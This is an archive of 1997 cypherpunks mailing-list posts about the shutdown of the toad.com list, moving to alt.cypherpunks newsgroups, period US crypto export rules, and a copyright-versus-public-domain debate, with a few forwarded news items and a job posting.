nHzMG5/FD5Y=
=G/Ag
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 13 Feb 1997 17:56:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Technology and the Electronic Economy
Message-ID: <199702140156.RAA16648@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


We've put the IEEE Spectrum special issue on Technology
and the Electronic Economy, with 13 articles previously listed 
here, at:

   http://jya.com/tee.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 13 Feb 1997 22:11:27 -0800 (PST)
To: Bill Stewart <gnu@toad.com
Subject: Re: Cypherpunks-announce? Do we need to recreate this?
Message-ID: <199702140611.WAA23323@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:51 AM 2/13/97 -0800, Bill Stewart wrote:
>So far it's carried 1-2 announcements per month.
>Should we create it as a mailing list, moderated or unmoderated,
>or as a newsgroup?  (It's been a moderated mailing list, run by John and
>Hugh.)

Deja-News now carries both alt.cypherpunks and alt.cypherpunks.announce.
There was never a problem with cypherpunks-announce. Whoever volunteered to
run the monthly meeting just emailed to Hugh, who posted the announcement.
I would suggest to avoid fixing what isn't broken and make
alt.cypherpunks.announce a moderated list with Hugh and Eric as the
moderators.

The cypherpunks* lists on toad.com could be set up as mail-to-news gateways
(I volunteer to do so if needed) and all current subscribers unsubscribed
after a suitable warning outlining ways of accessing USENET. If the list
owner should so desire, I volunteer to write the tutorial.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 13 Feb 1997 22:18:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Good Bye Cypherpunks!
Message-ID: <199702140618.WAA23553@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Friends,
I have been on the list since May 1993, after reading about it in Wired
1.2. The list impacted my life more than any other medium.
I knew little about cryptography when I joined the list. Now I work in the
field. Some of the subscribers on this list have become my personal
friends. Many have become co-workers or clients. The list has been good to me.

But it is time to move on. Cypherpunks@toad.com has come to an end, and
perhaps it was time.

See you all on USENET

mailto:cypherpunks@toad.com is dead. Long live news:alt.cypherpunks

Umsuscrive message follows ;-)


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Thu, 13 Feb 1997 20:56:17 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Re: Private property & the cypherpunks list(s)
Message-ID: <199702140456.UAA21157@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Firebeard wrote:
> 
> >>>>> Igor Chudov @ home writes:
> 
> IC> This is where the distributed nature of the list comes in.  if
> IC> someone disagrees with Jim's AUP, he or she can use soem other
> IC> mailing list host.
> 
> 	And once I'm up and running, my cypherpunks list server will
> not be interconnected with any server which has a similar AUP.  The
> implication of the AUP is that if you _don't_ comply with it, you will
> be blocked.  Without such an implication, the AUP is meaningless, and
> I'm dedicated that there should be no filtering/blocking of any kind,
> of the list.  Persons behaving 'unacceptably' should be handled by
> social pressures by others in the 'community' of the list, and not by
> policies of the list operators.

Which is, again, a perfectly fine idea.

I would probably disconnect from any server that 

a) does not let certain messages go through (unless they are fighting a DOS
attack) and
b) Alters content of any messages.


	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 13 Feb 1997 19:28:14 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: alt.cypherpunks
Message-ID: <199702140328.TAA18503@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

John Pearson <john@cognac.apana.org.au> writes:
> In this case, the people you have to convince are the news admins who must
> permit your control message to be honoured; time was most sites ran on
> autopilot, but joke and badly-named groups mean that most news admins
> now drop most newgroup messages on the floor.  These people hang out in
> alt.config, and you should propose the group's creation there, followed
> by a couple of weeks of discussion, hopefully featuring many more 
> supportive messages than non-supportive ones.  After that, a newgroup 
> message stands a much better chance.

alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
consiencous newsadmins probably did not honor the rmgroup, as
alt.cypherpunks should be acceptable, but most newsadmins are too
overworked to actually look at most of the crap that comes through.
For example, it hasn't received any messages on my news server,
probably because the one upstream removed it. 

Therefore, it would be a Good Thing to continue any discussion on
alt.config, and convince any cabal'ers who rmgroup it to re-new it.
Sending out boosters every couple of weeks wouldn't hurt, either. 

alt.cypherpunks'less,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 13 Feb 1997 19:56:26 -0800 (PST)
To: anand@querisoft.com
Subject: Re: crypto restrictions
Message-ID: <199702140356.TAA19306@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

anand abhyankar <anand@querisoft.com> writes:
> i am a bit confused. what exactly are the us govt crypto regulations.

Hard to tell, really...

> what i mean is that :

Oh, this is one of those easy questions!

> 1) is it illegal to develop an encryption tool (s/w) in the US which
> uses > 40 bit size session keys and then export that s/w outside of the
> US.

Yes.

> 2) is it illegal to encrypt some data inside the us with a key > 40 bit
> in size and then send that data outside the US.

No.

HTH,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Fri, 14 Feb 1997 06:59:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702141459.GAA07338@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu

The Netly News Network
http://netlynews.com/

A List Goes Down In Flames
by Declan McCullagh (declan@well.com)
February 12, 1997
   
       The plan for the cypherpunks mailing list was simple. It was to be
   an online gathering place, an intellectual mosh pit, dedicated to the
   free flow of ideas and personal privacy through encryption.
   
       Of course it caught on. From its modest beginnings connecting a
   few friends who lived in Northern California, it quickly grew into one
   of the most rowdy, volatile lists on the Net: Cypherpunks typically
   piped more than 100 messages a day into the mailboxes of nearly 2,000
   subscribers. And the list became a kind of crypto-anarchist utopia.
   Populated by pseudonymous posters with names like Black Unicorn, it
   was a corner of cyberspace where PGP signatures and digital cash were
   the norm -- and there were no rules. Then yesterday came the news: The
   list was being evicted and faced imminent shutdown.
   
       In an e-mail seen 'round the Net, John Gilmore, Electronic
   Frontier Foundation cofounder and list maintainer, announced that he
   was no longer willing to provide a virtual home for the cypherpunks.
   In a post entitled "Put Up or Shut Up," he described how his efforts
   to improve the list through moderation were condemned, how technical
   problems were consuming more of his time, how pranksters had tried to
   subscribe the entire U.S. Congress to the list. How this experiment in
   crypto-anarchy had failed. He gave the cypherpunks 10 days to find new
   lodgings.
   
       "The last straw for me was seeing the reaction of the list to
   every attempt to improve it. It was to carp, to cut it down, to say
   you're doing everything wrong," Gilmore told me yesterday night. One
   of the first employees of Sun, Gilmore quit after eight years -- a
   millionaire more interested in pursuing ideas than dollars. But his
   experiment with the list has left him weary. "If everything I'm doing
   is wrong, I'm clearly not the right person to host the list," he said.
   
       "I would like to see some other structure in which the positive
   interactions on the list could continue. I'm not trying to create that
   structure anymore," he added. Instead, he would try the only true
   crypto-anarchist solution: "I'm handing it over to members to do what
   they wish with it."
   
       The cypherpunks first pierced the public's consciousness when
   Wired magazine splashed them across the cover of the second issue. The
   Whole Earth Review and the Village Voice followed soon after. The name
   "cypherpunk" came to be synonymous with a brash young breed of
   digerati who were intent on derailing the White House's encryption
   policies and conquering cyberspace. This was crypto with an attitude.
   
       Gilmore was typical of the breed. Monthly Bay Area meetings of the
   'punks were held in the offices of Cygnus, a company he started to
   provide support for the free Unix alternative, GNU.
   
       But the veteran cypherpunk came under heavy fire in November 1996,
   when a loudmouthed flamer flooded the list with flame bait and ad
   hominem attacks on various members. Finally, Gilmore, ironically, gave
   him the boot -- and incited an all-consuming debate over what the
   concept of censorship means in a forum devoted to opposing it. In a
   society of crypto-anarchists, who should make the rules? The mailing
   list melted down. By last month, it seemed, more messages complained
   about censorship than discussed crypto.
   
       Indeed, for months Gilmore seemed unable to do anything right. He
   tried moderation, which proved to be even more contentious, raising
   the question of empowering one cypherpunk to decide what was
   appropriate for others to read. One member of the group, in effect,
   would be more equal than the rest. And why would members take the time
   to write elaborate, thoughtful articles on crypto-politics if their
   treatises might not make it past the moderator's keyboard?
   
       After the expulsion, some of the longtime list denizens left
   angrily, joining the 700 subscribers who had departed since the
   controversy began. One of those was Tim C. May, a crusty former Intel
   engineer who prides himself as the organizer of the first cypherpunk
   meeting in September 1992. In an essay summarizing the reasons for his
   departure, he wrote: "The proper solution to bad speech is more
   speech, not censorship. Censorship just makes opponents of 'speech
   anarchy' happy -- it affirms their basic belief that censors are
   needed."
   
       After all, May pointed out, the list ended up on Gilmore's
   toad.com machine only by happenstance -- it almost was housed on a
   workstation at the University of California at Berkeley. Ownership of
   the computer with the database of subscribers did not mean that
   Gilmore owned the cypherpunks. "Whatever our group once was, or still
   is, is not dependent on having a particular mailing list running on
   someone's home machine... and it cannot be claimed that any person
   'owns' the cypherpunks group," May wrote.
   
       The cypherpunks have responded to Gilmore's eviction notice. List
   participants generally have halted the incessant attacks on Gilmore,
   and now the discussion has turned to how to continue this experiment
   in online anarchy -- while preventing one person from ever again
   having absolute control of the List. Within hours of Gilmore's
   announcement, posters were tossing around ideas of a distributed
   network of mailing lists that would carry the cypherpunk name, and
   other 'punks likely will migrate to the more tightly controlled
   coderpunks and cryptography lists.
   
       But for the true believers in crypto-anarchy, only one solution is
   adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no
   precedent... for halting distribution of Usenet newsgroups," Tim May
   wrote. That, in the end, is what defines a cypherpunk.
   
###





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Thu, 13 Feb 1997 22:11:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks
Message-ID: <199702140611.WAA23316@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Blatz writes:

> alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> consiencous newsadmins probably did not honor the rmgroup, as
> alt.cypherpunks should be acceptable, but most newsadmins are too
> overworked to actually look at most of the crap that comes through.
> For example, it hasn't received any messages on my news server,
> probably because the one upstream removed it. 

I haven't seen any rmgroups for alt.cypherpunks.  Paul Bradley's
newgroup for alt.cypherpunks is nowhere to be found, but Mike Duvos'
newgroup made it onto the Net, and was reposted the next day by 
usenet@news.myriad.ml.org.

Meanwhile, Paul Bradley seems to have finally figured out newgrouping
and has created...

        alt.cypherpunks.announce
        alt.cypherpunks.social
        alt.cypherpunks.technical

and, of course...

        alt.fan.paul.bradley

The latter has been rmgrouped because it was not discussed in 
alt.config. 

I might suggest that deliberately tweeking the whiskers of the Cabal by
gratuitous newgrouping is unlikely to bode well for alt.cypherpunks. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 06:56:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: crypto restrictions
Message-ID: <199702141456.GAA07195@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:51 AM -0800 2/14/97, anand abhyankar wrote:
>Jeremiah A Blatz wrote:
>
>thanx for ur answer but then i have another question.
>
>1) is it illegal to develop an encryption tool (s/w) outside the US
>which uses > 40 bit size session keys and then import that s/w inside of
>the US.

There are no import restrictions at this time. The IDEA cipher, for
example, was developed in Europe and U.S. developers can import it and put
in products.

However, once imported it becomes controlled for export again!

Also, it may be a violation of the EAR regs to deliberately seek to bypass
the export laws by arranging for foreign development of a module which is
then "dropped in" when the product is shipped outside the U.S. It may also
be illegal to include "software hooks" for crypto modules to be attached to.

Exactly how far one can go, or what it might take to trigger a government
prosecution for such actions, is unclear. The laws are not very precise,
and court precedents are lacking.

(There are many wrinkles here; you seem to have a lot of questions, which
is good. However, it is best for you to read a comprehensive article on
these issues--use a Web search engine to find the latest versions.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Thu, 13 Feb 1997 20:56:17 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: alt.cypherpunks
Message-ID: <199702140456.UAA21155@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jeremiah A Blatz <jer+@andrew.cmu.edu> wrote:

> alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> consiencous newsadmins probably did not honor the rmgroup, as
> alt.cypherpunks should be acceptable, but most newsadmins are too
> overworked to actually look at most of the crap that comes through.
> For example, it hasn't received any messages on my news server,
> probably because the one upstream removed it. 

Seems I'm getting alt.cypherpunks.announce (empty), but not
alt.cypherpunks or any of the others that show up as newgroup'ed on
Deja News...  Are they alive and well elsewhere? 

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Fri, 14 Feb 1997 06:57:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Want a job as a Crypto Researcher or Research Scientist?
Message-ID: <199702141457.GAA07301@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I can't vouch for any of it, and I have my doubts about any company
that decides whether you're a "Scientist" based on whether you have a
PhD, but I thought it might put a cypherpunk in a position to do some
good:

Date: Thu, 13 Feb 1997 13:30:52 -0700
From: dnne <dnne@enol.com>
Subject: CRYPTO RESEARCHER OR SCIENTIST

John,

I would greatly appreciate your recommendation.  I am trying to fill a
RESEARCHER and a RESEARCH SCIENTIST position for a leading East Coast
developer of encryption technology for the computer industry.

RESEARCHERS will work in conjunction with Research Scientists on
research projects covering all aspects of cryptography--from
algorithms, to protocols, to implementation.  RESEARCHERS also provide
technical support to software developers and to the company customers
through consulting and educational activities.

RESEARCHERS should have at least a B.S. and preferably an M.S. in
computer science, mathematics, or a closely related field. Solid
exposure to cryptography either through practical experience or within
academic pursuits is highly desirable.

RESEARCH SCIENTIST candidates should have a Ph.D. or equivalent
research experience in cryptography.

This company provides a very competitive compensation and benefits
package as well as company paid relocation benefits.

Thanks,

Dan Barrus
Senior Technical Recruiter
Cutting Edge Technologies
Voice:  800-881-7212
Fax:  801-373-3024






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 14 Feb 1997 06:56:28 -0800 (PST)
To: anand@querisoft.com
Subject: Re: crypto restrictions
Message-ID: <199702141456.GAA07231@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:20 AM 2/14/97 -0800, anand abhyankar wrote:
>1) is it illegal to develop an encryption tool (s/w) in the US which
>uses > 40 bit size session keys and then export that s/w outside of the
>US.

Yes, that's illegal, unless you get permission for the export. Getting
permission requires jumping through many hoops, and is far from a sure thing.
(It's easier to count on not getting permission. You almost certainly won't
get permission if you want to use >40 bits and you're not going to force your
customers to share their keys with the government.) 

Consequently, the US is a bad place to write crypto software if you want to
make it available worldwide. 

>2) is it illegal to encrypt some data inside the us with a key > 40 bit
>in size and then send that data outside the US.

Data which may be exported as plaintext may be exported as ciphertext. Data
which may not be exported as plaintext may not be exported as ciphertext. But
in the latter case, it's harder to catch you. :) 


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Thu, 13 Feb 1997 12:11:16 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: N.Y. judge rules for Planned Parenthood in web site case
Message-ID: <199702132011.MAA10147@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


*** N.Y. judge rules for Planned Parenthood in web site case

A federal judge has temporarily stopped an abortion foe from
identifying his web site as belonging to Planned Parenthood and
selling an anti-abortion book from that home page. The temporary
restraining order, issued Wednesday, stops Richard Bucci from
identifying his home page as "Planned Parenthood's Home Page" and
using "plannedparenthood.com" as a domain name. Planned Parenthood,
which has its own web site, sued Bucci for trademark infringement. The
next hearing is slated for Feb. 20. For the full text story, see
http://www.merc.com/stories/cgi/story.cgi?id=1426121-b7e

-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Multimedia





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Thu, 13 Feb 1997 11:58:38 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: CompuServe reports e-mail court victory
Message-ID: <199702131958.LAA09862@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


*** CompuServe reports e-mail court victory

CompuServe, after winning a court decision making unauthorized junk
e-mail illegal, responded Thursday to a report that Cyber Promotions,
Inc., a commercial mass e-mailer, would not accept a federal court's
halting of its spamming activities directed against CompuServe
subscribers. Cyber Promotions indicated that it would appeal the
decision, which follows the settlement of a similar suit. That
settlement allows Cyber Promotions to send junk e-mail to another
Internet service provider's members. CompuServe said its goal "was to
see this through to a binding court decision." For the full text
story, see http://www.merc.com/stories/cgi/story.cgi?id=1425511-f29

-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Multimedia





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Leonard Janke <janke@unixg.ubc.ca>
Date: Fri, 14 Feb 1997 06:58:06 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702141458.GAA07309@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> [...] 
> Given that _political_ discussions of crypto are now encouraged in
> _talk_.politics.crypto (emphasis added) rather than sci.crypt, do you think
> political and social essays dealing with crypto anarchy, offshore
> databases, undermining governments, etc., will be welcome in the "comp"
> hierarchy?
> 
> I rather doubt it. And I would bet that if comp.org.cypherpunks is ever
> approved, those who dislike crypto anarchy and sociopolitical chatter will
> use the "comp" name to try to suppress such discussions.
> [...]

I think that the statement of our desire to create a new group
should clearly indicate that the discussion
group is of a special nature due to the tight integration of
technical and political discussions. Cypherpunks are trying to achieve 
political goals through technological means, so it is difficult, and
not regarded as desirable to produce a false dichotomy for discussions. 
As an example, we could cite the Linux newsgroups like comp.os.linux.misc. 
Linux is a piece of software written
to help achieve a political goal, and, thus, in the Linux groups
it is not considered off-topic to philosophize about
these goals or the future as and after Linux knocks Microsoft out of
the market. :)

talk.politics.crypto and sci.crypt can, then, easily be argued 
against since the discussions there are much more 
restricted than what we desire.

> [...] You really think whoever is spamming the list with ASCII art and
> broke into Paul's account to post hundreds of "John Gilmore is a
> cocksucker" posts will back off because of the "dedication" of some? To the
> perverse personality, this is merely a greater challenge and temptation.
> [...] 
 
Given that you have been on the list a great deal longer than
I, I do respect that you may have deeper insights into the
mind of the "perverse personality" than I do. I, however, am
not aware of evidence that the person or persons behind the
disruptions since the middle of last year would try to interrupt
a democratic USENET creation vote. My recollection of the
history is that the initial attacks were directed at you personally.
Dr. Vulis was blamed for them and thus, apparently, became
the target of nasty e-mailings to his site. He responded to
this by spamming the list with rather large articles
on Armenian war crimes and forwardings of the messages. At that point 
Gilmore booted Vulis.
Gilmore then became a target of attack and, it seems
that many (presumably) innocent bystanders were unwittingly
subscribed to the list in an effort to cause more
work, and, hence, annoyance to Gilmore when they complained
about the unwanted mail. At this point many new personalities
seemed to materialize out of nowhere bent on doing
nothing more than fueling flame wars. Then the "moderation 
experiment" (fiasco)... I do not see in this evidence, however, that
any of the disruptors would target the process of the
creating a new group USENET group. At first, the
the disruptor could easily have rationalized that anonymous, personal
attacks were fair play, since anarachists favour no explicit rules
with regards to speech. After Vulis was removed by Gilmore
the disruptor could then rationalize that "anything goes" since
list had then passed from a state of anarchy to one with
Gilmore trying to decide who could or not be on the list.
(I do not think that these conjectued rationalizations are valid
myself, but am just trying to give an my thoughts on the
psychology of the "perverse personality".)

USENET nesgroup creation is whole new ball game, however.
There are explicitly defined rules and the process
is intended to be democratic. If my guess as to the identity of the 
person masterminding the  attacks is correct, that person seems to have
democratic sympathies or, at least, be strongly opposed to even
hints of censorship, so I do not think he would attempt
to disrupt the process of deciding if a new group
is created or not since that would both be inferring
in a democratic process and an attempt to prevent
a group of people from creating a discussion group, and thus, himself,
becoming a censor.  (This makes me think that given that the process is 
intended to be democratic, it may be more fitting that
a more anarchisticly method is used to create
an "alt.*" group for cyphepunks than the democratic one
used to create a "comp.*" one.)

In any case, if you have deeper insights than mine into the mind of
the disruptor, or evidence that he or she or them would
try to disrupt a comp.* newsgroup creation proces, I
would be eager to hear them.

Leonard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Philipp <adam@rosa.com>
Date: Fri, 14 Feb 1997 06:56:07 -0800 (PST)
To: anand abhyankar <anand@querisoft.com>
Subject: Re: crypto restrictions
Message-ID: <199702141456.GAA07172@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:51 AM 2/14/97 -0800, anand abhyankar wrote:
>Jeremiah A Blatz wrote:
>
>thanx for ur answer but then i have another question.
>
>1) is it illegal to develop an encryption tool (s/w) outside the US
>which uses > 40 bit size session keys and then import that s/w inside of
>the US.
>
>anand....
>

Not under US law... 

-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\
| My PGP key is available on my  |Unauthorized interception violates |
| home page: http://www.rosa.com |federal law (18 USC Section 2700 et|
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|seq.). In any case, PGP encrypted  |
|SUB ROSA...see home page...     |communications are preferred for   | 
|     -=[ FUCK THE CDA]=-        |sensitive materials.               |
\=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-/
If A is a success in life, then A = x + y + z. Work is x; y is play; 
and z is keeping your mouth shut. Albert Einstein (1879-1955)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Fri, 14 Feb 1997 06:41:29 -0800 (PST)
To: anand@querisoft.com
Subject: Re: crypto restrictions
Message-ID: <199702141441.GAA06709@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

anand abhyankar <anand@querisoft.com> writes:
> Jeremiah A Blatz wrote:
> 
> thanx for ur answer but then i have another question.
> 
> 1) is it illegal to develop an encryption tool (s/w) outside the US
> which uses > 40 bit size session keys and then import that s/w inside of
> the US.

It's legal in the US, but other countries have export restrictions,
too. They're usually pretty hard to find out about, especially
considering that the people who passed the laws don't have a clue what
the law means.

Your best place to check is the Crypto Law Survey at
http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm
The disclamer states that the findings may not be "exaustive or
legally reliable," and given the opacity of crypto laws, you'd better
belive it. That said, it is an excellent resource.

cypherpunks newbie patrol,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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5cKtCz2HEG4TqoHQJ0vt/njOMqzBdNgVma9vqC/cWoczOgRXHEmcPuXN0Zd2fOKT
KxMOtZzLwvCUSJEYY8q9PZ5lY4NIDcyQ
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 14 Feb 1997 06:56:01 -0800 (PST)
To: Pete Capelli <pete@ubisg.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702141456.GAA07155@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Pete:
> 	Yes, but why does monetary compensation make it then O.K.?  I'd rather
> pay for my Internet access, then be bombarded by spam, no matter what
> they paid me!  I think the best soln. is the one that is currently in
> place for phone calls - they can call once, but if I tell them not to
> call me again and they do, I can then begin legal action against them. 
> I pay more per month for my phone service than my Internet service (
> although in NY, *everything* is more expensive. ), and junk phone calls
> are way more intrusive then spam.

	I figure if this scheme comes to fruition, I'll just set up a seperate
account (or procmail) to filter out the spam, deposit the coin, and go on
about my business.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 14 Feb 1997 06:56:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702141456.GAA07230@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Thu, 13 Feb 1997 02:08:21 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Private property & the cypherpunks list(s)


> Jim Choate wrote:
> 
> > Please explain how making submissions de facto public domain censors
> > anyone?
> 
> What the fuck is "de facto public domain"? It's public domain, or it's
> not. 

The same thing as the current 'de facto copyright'. It's copyrighted or it's
not. What's your point here?

> Your scheme imposes a cost (loss of intellectual property rights)
> against authors who would like to make themselves heard.

I am taking intellectual property rights from nobody. If anything I am
giving unlimited intellectual rights to the material to humankind for
posterity. Sorta cypherpunkish, don't you think?

> It also
> prevents a certain class of messages (those messages whose status is
> "copyright claimed") from being distributed.

Completely untrue. What it does is say "anything published which does not
explicity have a copyright related statement on it is public domain". If you
want to keep rights to it, that is fine. Just tell 'em that up front. The
actual cost to those of us who feel that statements made in such a forum as
this are inherently intended for the betterment of mankind, and therefore
a priori copyright is not in the best interest of distribution of those
ideas, is no different than the cost under defacto copyright to use fair
use headers for public domain material.

I believe that such an approach would be economicaly helpful as well. It
would provide a market for collecting, organizing, and distributing the
content of such material for wider distribution. Under the current standard
a small business which wanted to connect to the network, archive the
material, catalog it, package it, and distribute it would technicaly have to
contact the 1,000+ members and get their specific fair use contracts
resolved. This way there is nothing to resolve, if there is a copyright
notice and doesn't specificaly permit such use that message would be
dropped. The rest would be available for wider distribution and storage.

> Further, your suggestion
> that posters be required to include a "fair use header" is compelled
> speech.

So is requiring me to post a "fair use header" if I want my material public
domain by default. You call it 'tomatoe', I call it 'tomahto'. It comes down
to what is best for society and what 'best' means. If best in your book
equals 'maximize profit potential' then the current standard is best. If,
however, your definition is 'spread the idea as far and wide as possible,
may it flourish and have many offspring' then we need to go back to the old
standard.

> That's three flavors of "censorship" right there. I thought that the new
> list(s) were supposed to allow anyone to say anything they wanted. 

None of these qualify as censorship, I am not applying anything to 
anyone that is not being currently applied now. I am only taking the
alternate tack, which was the legal tact until mid-80's.

> (Does "no fair use" count as a "fair use header"? It's not legally
> enforceable, but it seems like the easiest way to specify "minimum fair
> use required by law". If not, are you planning to moderate the list to
> make sure that people use only approved fair use headers? Hmm.) 

No need to moderate the list, it does it for me. I don't do anything with
the messages, simply let them come and go. Those with no header would be
fair game for anyone to use for any purpose they chose. I would hold that
your position of implied copyright is a censorship because it prohibits
persons from using the material without the authors permission (and probably
paying a fee, economic censorship).

Cypherpunkish? I think not. Mercenary, could be.

> Even if the "copyright abandonment by implication" trick works (and I
> suspect it will not,

It certainly did until the mid-80's. It certainly is no more of a trick
than the forcing of copyright on those who don't want it.

> given that an assignment or transfer of copyright
> must be in writing, 17 USC 204;

And I hold that the submission of a subscription request and the acceptance
of the subscription notice conditions received as a reply qualify as that
written transfer. If they are unacceptable unsubscribe, which is described
in detail in the same subscription notice that details the conditions of
access.

> and abandonment is essentially an
> assignment or transfer to the public domain), it will not apply to all
> text sent to the list.

A good thing.

> A person cannot abandon or assign something they
> do not have; so if someone sends a message to the list which contains
> text whose copyright is held by a third party, that copyright will still
> be valid. 

That is a good thing. A person should not harm another or their property
without their prior permission.

> So what you've got is a list where you can't be sure that its contents
